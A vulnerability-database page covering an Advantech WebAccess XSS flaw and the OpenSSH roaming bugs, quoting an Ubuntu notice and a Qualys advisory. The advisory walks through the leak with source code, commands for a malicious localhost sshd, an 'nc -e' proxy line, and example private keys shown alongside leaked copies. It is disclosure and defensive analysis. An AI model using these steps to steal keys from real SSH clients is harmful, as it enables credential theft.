VARIoT IoT vulnerabilities database
| VAR-201601-0642 | CVE-2015-3948 | Advantech WebAccess Cross-Site Scripting Vulnerability |
CVSS V2: 3.5 CVSS V3: 5.4 Severity: MEDIUM |
Cross-site scripting (XSS) vulnerability in Advantech WebAccess before 8.1 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors. WebAccess HMI/SCADA software provides remote control and management, allowing users to easily view and configure automation equipment in facility management systems, power stations and building automation systems. Advantech WebAccess is prone to following security vulnerabilities:
1. A denial-of-service vulnerability
2. An arbitrary file-upload vulnerability
3. A directory-traversal vulnerability
4. Multiple stack-based buffer-overflow vulnerabilities
5. A heap-based buffer overflow vulnerability
6. Multiple buffer-overflow vulnerabilities
7. Multiple information disclosure vulnerabilities
8. A cross-site scripting vulnerability
9. An SQL-injection vulnerability
10. A cross-site request forgery vulnerability
11. A remote-code execution vulnerability
An attacker can exploit these issues to execute arbitrary code in the context of the application, cause a denial-of-service condition, upload arbitrary files, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to use directory-traversal sequences ('../') to retrieve arbitrary files, obtain sensitive information and perform certain unauthorized actions. This may aid in further attacks.
Advantech WebAccess 8.0 and prior versions are vulnerable. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech
| VAR-201601-0030 | CVE-2016-0778 | OpenSSH Client contains a client information leak vulnerability and buffer overflow |
CVSS V2: 4.6 CVSS V3: 8.1 Severity: HIGH |
The (1) roaming_read and (2) roaming_write functions in roaming_common.c in the client in OpenSSH 5.x, 6.x, and 7.x before 7.1p2, when certain proxy and forward options are enabled, do not properly maintain connection file descriptors, which allows remote servers to cause a denial of service (heap-based buffer overflow) or possibly have unspecified other impact by requesting many forwardings. OpenSSH client code versions 5.4 through 7.1p1 contains a client information leak vulnerability that could allow an OpenSSH client to leak information not limited to but including private keys, as well as a buffer overflow in certain non-default configurations. In addition, JVNVU#95595627 Then CWE-122 It is published as CWE-122: Heap-based Buffer Overflow http://cwe.mitre.org/data/definitions/122.htmlA large amount of transfer is requested by the remote server, resulting in a denial of service ( Heap-based buffer overflow ) It can be unspecified, such as being put into a state. OpenSSH is prone to a heap-based buffer-overflow vulnerability.
Successful exploits may allow attackers to execute arbitrary code in the context of the affected application. Failed attacks will cause denial-of-service conditions. OpenSSH (OpenBSD Secure Shell) is a set of connection tools for securely accessing remote computers maintained by the OpenBSD project team. This tool is an open source implementation of the SSH protocol, supports encryption of all transmissions, and can effectively prevent eavesdropping, connection hijacking, and other network-level attacks. The following versions are affected: OpenSSH 5.x, 6.x, 7.x prior to 7.1p2. ============================================================================
Ubuntu Security Notice USN-2869-1
January 14, 2016
openssh vulnerabilities
============================================================================
A security issue affects these releases of Ubuntu and its derivatives:
- Ubuntu 15.10
- Ubuntu 15.04
- Ubuntu 14.04 LTS
- Ubuntu 12.04 LTS
Summary:
OpenSSH could be made to expose sensitive information over the network.
Update instructions:
The problem can be corrected by updating your system to the following
package versions:
Ubuntu 15.10:
openssh-client 1:6.9p1-2ubuntu0.1
Ubuntu 15.04:
openssh-client 1:6.7p1-5ubuntu1.4
Ubuntu 14.04 LTS:
openssh-client 1:6.6p1-2ubuntu2.4
Ubuntu 12.04 LTS:
openssh-client 1:5.9p1-5ubuntu1.8
In general, a standard system update will make all the necessary changes.
Qualys Security Advisory
Roaming through the OpenSSH client: CVE-2016-0777 and CVE-2016-0778
========================================================================
Contents
========================================================================
Summary
Information Leak (CVE-2016-0777)
- Analysis
- Private Key Disclosure
- Mitigating Factors
- Examples
Buffer Overflow (CVE-2016-0778)
- Analysis
- Mitigating Factors
- File Descriptor Leak
Acknowledgments
Proof Of Concept
========================================================================
Summary
========================================================================
Since version 5.4 (released on March 8, 2010), the OpenSSH client
supports an undocumented feature called roaming: if the connection to an
SSH server breaks unexpectedly, and if the server supports roaming as
well, the client is able to reconnect to the server and resume the
suspended SSH session. This information leak may have already been exploited in
the wild by sophisticated attackers, and high-profile sites or users may
need to regenerate their SSH keys accordingly.
The buffer overflow, on the other hand, is present in the default
configuration of the OpenSSH client but its exploitation requires two
non-default options: a ProxyCommand, and either ForwardAgent (-A) or
ForwardX11 (-X). This buffer overflow is therefore unlikely to have any
real-world impact, but provides a particularly interesting case study.
All OpenSSH versions between 5.4 and 7.1 are vulnerable, but can be
easily hot-fixed by setting the undocumented option "UseRoaming" to
"no", as detailed in the Mitigating Factors section. OpenSSH version
7.1p2 (released on January 14, 2016) disables roaming by default.
========================================================================
Information Leak (CVE-2016-0777)
========================================================================
------------------------------------------------------------------------
Analysis
------------------------------------------------------------------------
If the OpenSSH client connects to an SSH server that offers the key
exchange algorithm "resume@appgate.com", it sends the global request
"roaming@appgate.com" to the server, after successful authentication. If
this request is accepted, the client allocates a roaming buffer out_buf,
by calling malloc() (and not calloc()) with an out_buf_size that is
arbitrarily chosen by the server:
63 void
64 roaming_reply(int type, u_int32_t seq, void *ctxt)
65 {
66 if (type == SSH2_MSG_REQUEST_FAILURE) {
67 logit("Server denied roaming");
68 return;
69 }
70 verbose("Roaming enabled");
..
75 set_out_buffer_size(packet_get_int() + get_snd_buf_size());
..
77 }
40 static size_t out_buf_size = 0;
41 static char *out_buf = NULL;
42 static size_t out_start;
43 static size_t out_last;
..
75 void
76 set_out_buffer_size(size_t size)
77 {
78 if (size == 0 || size > MAX_ROAMBUF)
79 fatal("%s: bad buffer size %lu", __func__, (u_long)size);
80 /*
81 * The buffer size can only be set once and the buffer will live
82 * as long as the session lives.
83 */
84 if (out_buf == NULL) {
85 out_buf_size = size;
86 out_buf = xmalloc(size);
87 out_start = 0;
88 out_last = 0;
89 }
90 }
The OpenSSH client's roaming_write() function, a simple wrapper around
write(), calls wait_for_roaming_reconnect() to transparently reconnect
to the SSH server after a disconnection. It also calls buf_append() to
copy the data sent to the server into the roaming buffer out_buf. During
a reconnection, the client is therefore able to resend the data that was
not received by the server because of the disconnection:
198 void
199 resend_bytes(int fd, u_int64_t *offset)
200 {
201 size_t available, needed;
202
203 if (out_start < out_last)
204 available = out_last - out_start;
205 else
206 available = out_buf_size;
207 needed = write_bytes - *offset;
208 debug3("resend_bytes: resend %lu bytes from %llu",
209 (unsigned long)needed, (unsigned long long)*offset);
210 if (needed > available)
211 fatal("Needed to resend more data than in the cache");
212 if (out_last < needed) {
213 int chunkend = needed - out_last;
214 atomicio(vwrite, fd, out_buf + out_buf_size - chunkend,
215 chunkend);
216 atomicio(vwrite, fd, out_buf, out_last);
217 } else {
218 atomicio(vwrite, fd, out_buf + (out_last - needed), needed);
219 }
220 }
In the OpenSSH client's roaming buffer out_buf, the most recent data
sent to the server begins at index out_start and ends at index out_last.
As soon as this circular buffer is full, buf_append() maintains the
invariant "out_start = out_last + 1", and consequently three different
cases have to be considered:
- "out_start < out_last" (lines 203-204): out_buf is not full yet (and
out_start is still equal to 0), and the amount of data available in
out_buf is indeed "out_last - out_start";
- "out_start > out_last" (lines 205-206): out_buf is full (and out_start
is exactly equal to "out_last + 1"), and the amount of data available
in out_buf is indeed the entire out_buf_size;
- "out_start == out_last" (lines 205-206): no data was ever written to
out_buf (and both out_start and out_last are still equal to 0) because
no data was ever sent to the server after roaming_reply() was called,
but the client sends (leaks) the entire uninitialized out_buf to the
server (line 214), as if out_buf_size bytes of data were available.
In order to successfully exploit this information leak and retrieve
sensitive information from the OpenSSH client's memory (for example,
private SSH keys, or memory addresses useful for further exploitation),
a malicious server needs to:
- Massage the client's heap before roaming_reply() malloc()ates out_buf,
and force malloc() to return a previously free()d but uncleansed chunk
of sensitive information. The simple proof-of-concept in this advisory
does not implement heap massaging.
- Guess the client's get_snd_buf_size() in order to precisely control
out_buf_size. OpenSSH < 6.0 accepts out_buf sizes in the range (0,4G),
and OpenSSH >= 6.0 accepts sizes in the range (0,2M]. Sizes smaller
than get_snd_buf_size() are attainable because roaming_reply() does
not protect "packet_get_int() + get_snd_buf_size()" against integer
wraparound. The proof-of-concept in this advisory attempts to derive
the client's get_snd_buf_size() from the get_recv_buf_size() sent by
the client to the server, and simply chooses a random out_buf_size.
- Advise the client's resend_bytes() that all "available" bytes (the
entire out_buf_size) are "needed" by the server, even if fewer bytes
were actually written by the client to the server (because the server
controls the "*offset" argument, and resend_bytes() does not protect
"needed = write_bytes - *offset" against integer wraparound).
Finally, a brief digression on a minor bug in resend_bytes(): on 64-bit
systems, where "chunkend" is a 32-bit signed integer, but "out_buf" and
"out_buf_size" are 64-bit variables, "out_buf + out_buf_size - chunkend"
may point out-of-bounds, if chunkend is negative (if out_buf_size is in
the [2G,4G) range). This negative chunkend is then converted to a 64-bit
size_t greater than SSIZE_MAX when passed to atomicio(), and eventually
returns EFAULT when passed to write() (at least on Linux and OpenBSD),
thus avoiding an out-of-bounds read from the OpenSSH client's memory.
------------------------------------------------------------------------
Private Key Disclosure
------------------------------------------------------------------------
We initially believed that this information leak in the OpenSSH client's
roaming code would not allow a malicious SSH server to steal the
client's private keys, because:
- the information leaked is not read from out-of-bounds memory, but from
a previously free()d chunk of memory that is recycled to malloc()ate
the client's roaming buffer out_buf;
- private keys are loaded from disk into memory and freed by key_free()
(old API, OpenSSH < 6.7) or sshkey_free() (new API, OpenSSH >= 6.7),
and both functions properly cleanse the private keys' memory with
OPENSSL_cleanse() or explicit_bzero();
- temporary copies of in-memory private keys are freed by buffer_free()
(old API) or sshbuf_free() (new API), and both functions attempt to
cleanse these copies with memset() or bzero().
However, we eventually identified three reasons why, in our experiments,
we were able to partially or completely retrieve the OpenSSH client's
private keys through this information leak (depending on the client's
version, compiler, operating system, heap layout, and private keys):
(besides these three reasons, other reasons may exist, as suggested by
the CentOS and Fedora examples at the end of this section)
1. If a private SSH key is loaded from disk into memory by fopen() (or
fdopen()), fgets(), and fclose(), a partial or complete copy of this
private key may remain uncleansed in memory. Indeed, these functions
manage their own internal buffers, and whether these buffers are
cleansed or not depends on the OpenSSH client's libc (stdio)
implementation, but not on OpenSSH itself.
- In all vulnerable OpenSSH versions, SSH's main() function calls
load_public_identity_files(), which loads the client's public keys
with fopen(), fgets(), and fclose(). Unfortunately, the private keys
(without the ".pub" suffix) are loaded first and then discarded, but
nonetheless buffered in memory by the stdio functions.
- In OpenSSH versions <= 5.6, the load_identity_file() function (called
by the client's public-key authentication method) loads a private key
with fdopen() and PEM_read_PrivateKey(), an OpenSSL function that uses
fgets() and hence internal stdio buffering.
Internal stdio buffering is the most severe of the three problems
discussed in this section, although GNU/Linux is not affected because
the glibc mmap()s and munmap()s (and therefore cleanses) stdio buffers.
BSD-based systems, on the other hand, are severely affected because they
simply malloc()ate and free() stdio buffers. For interesting comments on
this issue:
https://www.securecoding.cert.org/confluence/display/c/MEM06-C.+Ensure+that+sensitive+data+is+not+written+out+to+disk
2. In OpenSSH versions >= 5.9, the client's load_identity_file()
function (called by the public-key authentication method) read()s a
private key in 1024-byte chunks that are appended to a growing buffer (a
realloc()ating buffer) with buffer_append() (old API) or sshbuf_put()
(new API). Unfortunately, the repeated calls to realloc() may leave
partial copies of the private key uncleansed in memory.
- In OpenSSH < 6.7 (old API), the initial size of such a growing buffer
is 4096 bytes: if a private-key file is larger than 4K, a partial copy
of this private key may remain uncleansed in memory (a 3K copy in a 4K
buffer). Fortunately, only the file of a very large RSA key (for
example, an 8192-bit RSA key) can exceed 4K.
- In OpenSSH >= 6.7 (new API), the initial size of a growing buffer is
256 bytes: if a private-key file is larger than 1K (the size passed to
read()), a partial copy of this private key may remain uncleansed in
memory (a 1K copy in a 1K buffer). For example, the file of a
default-sized 2048-bit RSA key exceeds 1K.
For more information on this issue:
https://www.securecoding.cert.org/confluence/display/c/MEM03-C.+Clear+sensitive+information+stored+in+reusable+resources
https://cwe.mitre.org/data/definitions/244.html
3. An OpenSSH growing-buffer that holds a private key is eventually
freed by buffer_free() (old API) or sshbuf_free() (new API), and both
functions attempt to cleanse the buffer with memset() or bzero() before
they call free(). Unfortunately, an optimizing compiler may remove this
memset() or bzero() call, because the buffer is written to, but never
again read from (an optimization known as Dead Store Elimination).
OpenSSH 6.6 is the only version that is not affected, because it calls
explicit_bzero() instead of memset() or bzero().
Dead Store Elimination is the least severe of the three problems
explored in this section, because older GCC versions do not remove the
memset() or bzero() call made by buffer_free() or sshbuf_free(). GCC 5
and Clang/LLVM do, however, remove it. For detailed discussions of this
issue:
https://www.securecoding.cert.org/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations
https://cwe.mitre.org/data/definitions/14.html
https://sourceware.org/ml/libc-alpha/2014-12/threads.html#00506
Finally, for these three reasons, passphrase-encrypted SSH keys are
leaked in their encrypted form, but an attacker may attempt to crack the
passphrase offline. On the other hand, SSH keys that are available only
through an authentication agent are never leaked, in any form. The vulnerable roaming code can be permanently disabled by adding the
undocumented option "UseRoaming no" to the system-wide configuration
file (usually /etc/ssh/ssh_config), or per-user configuration file
(~/.ssh/config), or command-line (-o "UseRoaming no").
2. If an OpenSSH client is disconnected from an SSH server that offers
roaming, it prints "[connection suspended, press return to resume]" on
stderr, and waits for '\n' or '\r' on stdin (and not on the controlling
terminal) before it reconnects to the server; advanced users may become
suspicious and press Control-C or Control-Z instead, thus avoiding the
information leak:
# "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1
[connection suspended, press return to resume]^Z
[1]+ Stopped /usr/bin/ssh -p 222 127.0.0.1
However, SSH commands that use the local stdin to transfer data to the
remote server are bound to trigger this reconnection automatically (upon
reading a '\n' or '\r' from stdin). Moreover, these non-interactive SSH
commands (for example, backup scripts and cron jobs) commonly employ
public-key authentication and are therefore perfect targets for this
information leak:
$ ls -l /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 "cat > /tmp/passwd.ls"
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][exiting]
$ tar -cf - /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 "cat > /tmp/passwd.tar"
tar: Removing leading `/' from member names
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][connection resumed]
...
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][exiting]
Similarly, the SCP client uses the SSH client's stdin and stdout to
transfer data, and can be forced by a malicious SSH server to output a
control record that ends in '\n' (an error message in server-to-client
mode, or file permissions in client-to-server mode); this '\n' is then
read from stdin by the fgetc() call in wait_for_roaming_reconnect(), and
triggers an automatic reconnection that allows the information leak to
be exploited without user interaction:
# env ROAMING="scp_mode sleep:1" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/scp -P 222 127.0.0.1:/etc/passwd /tmp
$ [connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][exiting]
$ /usr/bin/scp -P 222 /etc/passwd 127.0.0.1:/tmp
[connection suspended, press return to resume][connection resumed]
[connection suspended, press return to resume][exiting]
lost connection
3. Although a man-in-the-middle attacker can reset the TCP connection
between an OpenSSH client and an OpenSSH server (which does not support
roaming), it cannot exploit the information leak without breaking server
host authentication or integrity protection, because it needs to:
- first, append the "resume@appgate.com" algorithm name to the server's
initial key exchange message;
- second, in response to the client's "roaming@appgate.com" request,
change the server's reply from failure to success.
In conclusion, an attacker who wishes to exploit this information leak
must convince its target OpenSSH client to connect to a malicious server
(an unlikely scenario), or compromise a trusted server (a more likely
scenario, for a determined attacker).
4. In the client, wait_for_roaming_reconnect()
calls ssh_connect(), the same function that successfully established the
first connection to the server; this function supports four different
connection methods, but each method contains a bug and may fail to
establish a second connection to the server:
- In OpenSSH >= 6.5 (released on January 30, 2014), the default
ssh_connect_direct() method (a simple TCP connection) is called by
wait_for_roaming_reconnect() with a NULL aitop argument, which makes
it impossible for the client to reconnect to the server:
418 static int
419 ssh_connect_direct(const char *host, struct addrinfo *aitop,
...
424 int sock = -1, attempt;
425 char ntop[NI_MAXHOST], strport[NI_MAXSERV];
...
430 for (attempt = 0; attempt < connection_attempts; attempt++) {
...
440 for (ai = aitop; ai; ai = ai->ai_next) {
...
470 }
471 if (sock != -1)
472 break; /* Successful connection. */
473 }
474
475 /* Return failure if we didn't get a successful connection. */
476 if (sock == -1) {
477 error("ssh: connect to host %s port %s: %s",
478 host, strport, strerror(errno));
479 return (-1);
480 }
Incidentally, this error() call displays stack memory from the
uninitialized strport[] array, a byproduct of the NULL aitop:
$ /usr/bin/ssh -V
OpenSSH_6.8, LibreSSL 2.1
$ /usr/bin/ssh -p 222 127.0.0.1
user@127.0.0.1's password:
[connection suspended, press return to resume]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor
[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor
[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor
[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \300\350\226\373\341: Bad file descriptor
- The special ProxyCommand "-" communicates with the server through the
client's stdin and stdout, but these file descriptors are close()d by
packet_backup_state() at the beginning of wait_for_roaming_reconnect()
and are never reopened again, making it impossible for the client to
reconnect to the server. Moreover, the fgetc() that waits for '\n' or
'\r' on the closed stdin returns EOF and forces the client to exit():
$ /usr/bin/ssh -V
OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013
$ /usr/bin/nc -e "/usr/bin/ssh -o ProxyCommand=- -p 222 127.0.0.1" 127.0.0.1 222
Pseudo-terminal will not be allocated because stdin is not a terminal.
user@127.0.0.1's password:
[connection suspended, press return to resume][exiting]
- The method ssh_proxy_fdpass_connect() fork()s a ProxyCommand that
passes a connected file descriptor back to the client, but it calls
fatal() while reconnecting to the server, because waitpid() returns
ECHILD; indeed, the SIGCHLD handler (installed by SSH's main() after
the first successful connection to the server) calls waitpid() before
ssh_proxy_fdpass_connect() does:
1782 static void
1783 main_sigchld_handler(int sig)
1784 {
....
1789 while ((pid = waitpid(-1, &status, WNOHANG)) > 0 ||
1790 (pid < 0 && errno == EINTR))
1791 ;
1792
1793 signal(sig, main_sigchld_handler);
....
1795 }
101 static int
102 ssh_proxy_fdpass_connect(const char *host, u_short port,
103 const char *proxy_command)
104 {
...
121 /* Fork and execute the proxy command. */
122 if ((pid = fork()) == 0) {
...
157 }
158 /* Parent. */
...
167 while (waitpid(pid, NULL, 0) == -1)
168 if (errno != EINTR)
169 fatal("Couldn't wait for child: %s", strerror(errno));
$ /usr/bin/ssh -V
OpenSSH_6.6.1p1, OpenSSL 1.0.1p-freebsd 9 Jul 2015
$ /usr/bin/ssh -o ProxyUseFdpass=yes -o ProxyCommand="/usr/bin/nc -F %h %p" -p 222 127.0.0.1
user@127.0.0.1's password:
[connection suspended, press return to resume]Couldn't wait for child: No child processes
- The method ssh_proxy_connect() fork()s a standard ProxyCommand that
connects the client to the server, but if a disconnection occurs, and
the SIGCHLD of the terminated ProxyCommand is caught while fgetc() is
waiting for a '\n' or '\r' on stdin, EOF is returned (the underlying
read() returns EINTR) and the client exit()s before it can reconnect
to the server:
$ /usr/bin/ssh -V
OpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014
$ /usr/bin/ssh -o ProxyCommand="/bin/nc %h %p" -p 222 127.0.0.1
user@127.0.0.1's password:
[connection suspended, press return to resume][exiting]
This behavior is intriguing, because (at least on Linux and BSD) the
signal() call that installed the main_sigchld_handler() is supposed to
be equivalent to a sigaction() call with SA_RESTART. However, portable
versions of OpenSSH override signal() with mysignal(), a function that
calls sigaction() without SA_RESTART.
This last mitigating factor is actually a race-condition bug that
depends on the ProxyCommand itself: for example, the client never
fails to reconnect to the server when using Socat as a ProxyCommand,
but fails occasionally when using Netcat.
------------------------------------------------------------------------
Private Key Disclosure example: FreeBSD 10.0, 2048-bit RSA key
------------------------------------------------------------------------
$ head -n 1 /etc/motd
FreeBSD 10.0-RELEASE (GENERIC) #0 r260789: Thu Jan 16 22:34:59 UTC 2014
$ /usr/bin/ssh -V
OpenSSH_6.4p1, OpenSSL 1.0.1e-freebsd 11 Feb 2013
$ cat ~/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr
qlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T
M3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0
9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd
a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD
zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+
eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE
w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk
oayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc
bvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C
vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW
hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW
bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd
muzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP
wn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF
iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw
sj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme
vOzVcOC+Y/wkpJET3ZEhNrPFZ0a0ab5JLxRwQk9mFYuGpOO8H5av5Nm8/PRB7JHi
/rnxmfPGIWJX2dG9AInmVFGWBQCNUxwwQzpz9/VnngsjMWoYSayU534SrE36HFtE
K+nsuxA+vtalgniToudAr6H5AoGADIkZeAPAmQQIrJZCylY00dW+9G/0mbZYJdBr
+7TZERv+bZXaq3UPQsUmMJWyJsNbzq3FBIx4Xt0/QApLAUsa+l26qLb8V+yDCZ+n
UxvMSgpRinkMFK/Je0L+IMwua00w7jSmEcMq0LJckwtdjHqo9rdWkvavZb13Vxh7
qsm+NEcCgYEA3KEbTiOU8Ynhv96JD6jDwnSq5YtuhmQnDuHPxojgxSafJOuISI11
1+xJgEALo8QBQT441QSLdPL1ZNpxoBVAJ2a23OJ/Sp8dXCKHjBK/kSdW3U8SJPjV
pmvQ0UqnUpUj0h4CVxUco4C906qZSO5Cemu6g6smXch1BCUnY0TcOgs=
-----END RSA PRIVATE KEY-----
# env ROAMING="client_out_buf_size:1280" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1
user@127.0.0.1's password:
[connection suspended, press return to resume][connection resumed]
# cat /tmp/roaming-97ed9f59/infoleak
MIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr
qlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T
M3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0
9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd
a3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD
zzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+
eIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE
w3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk
oayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc
bvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C
vcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW
hZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW
bc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd
muzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP
wn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF
iKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw
sj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme
------------------------------------------------------------------------
Private Key Disclosure example: FreeBSD 9.2, 1024-bit DSA key
------------------------------------------------------------------------
$ head -n 1 /etc/motd
FreeBSD 9.2-RELEASE (GENERIC) #0 r255898: Fri Sep 27 03:52:52 UTC 2013
$ /usr/bin/ssh -V
OpenSSH_6.2p2, OpenSSL 0.9.8y 5 Feb 2013
$ cat ~/.ssh/id_dsa
-----BEGIN DSA PRIVATE KEY-----
MIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP
grGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe
4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY
8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw
oM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP
IeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4
cRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+
iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To
zEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh
PHatTfiy5p82Q8+TD60=
-----END DSA PRIVATE KEY-----
# env ROAMING="client_out_buf_size:768" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1
[connection suspended, press return to resume][connection resumed]
# cat /tmp/roaming-9448bb7f/infoleak
MIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP
grGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe
4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY
8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw
oM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP
IeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4
cRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+
iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To
...
# env ROAMING="client_out_buf_size:1024" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key
$ /usr/bin/ssh -p 222 127.0.0.1
[connection suspended, press return to resume][connection resumed]
# cat /tmp/roaming-279f5e2b/infoleak
...
iUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To
zEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh
PHatTfiy5p82Q8+TD60=
...
------------------------------------------------------------------------
Private Key Disclosure example: OpenBSD 5.4, 2048-bit RSA key
------------------------------------------------------------------------
$ head -n 1 /etc/motd
OpenBSD 5.4 (GENERIC) #37: Tue Jul 30 15:24:05 MDT 2013
$ /usr/bin/ssh -V
OpenSSH_6.3, OpenSSL 1.0.1c 10 May 2012
